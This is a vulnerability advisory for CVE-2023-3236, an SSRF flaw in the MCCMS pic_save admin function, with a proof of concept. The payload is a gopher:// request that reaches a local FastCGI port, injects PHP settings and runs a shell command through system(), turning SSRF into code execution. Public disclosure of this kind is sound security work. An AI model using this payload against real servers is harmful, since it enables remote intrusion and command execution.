Headline
CVE-2023-3236: HuBenVulList/MCCMS is vulnerable to Server-side request forgery (SSRF) 2.md at main · HuBenLab/HuBenVulList
A vulnerability classified as critical has been found in mccms up to 2.6.5. This affects the function pic_save of the file sys/apps/controllers/admin/Comic.php. The manipulation of the argument pic leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-231507.
MCCMS is vulnerable to Server-side request forgery (SSRF)****Description
MCCMS <= 2.6.5 is vulnerable to Server-side request forgery (SSRF)
Vendor Homepage
https://github.com/chshcms/mccms/
Author****Proof of Concept
The problem lies in the pic_save function in sys/apps/controllers/admin/Comic.php, which is utilized to cause ssrf by controlling $pic.
payload:
http://172.16.5.221:84/admin.php/Comic/pic_save
post：
pic=gopher://127.0.0.1:7400/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%252A%2502%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH72%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%253DSCRIPT_FILENAME%2Fwww%2Fadmin%2Fwww.mancheng.com_84%2Fwwwroot%2Fmccms-master%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500H%2504%2500%253C%253Fphp%2520system%2528%2527touch%2520%2Ftmp%2F123123123%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500&mid=1&tb=1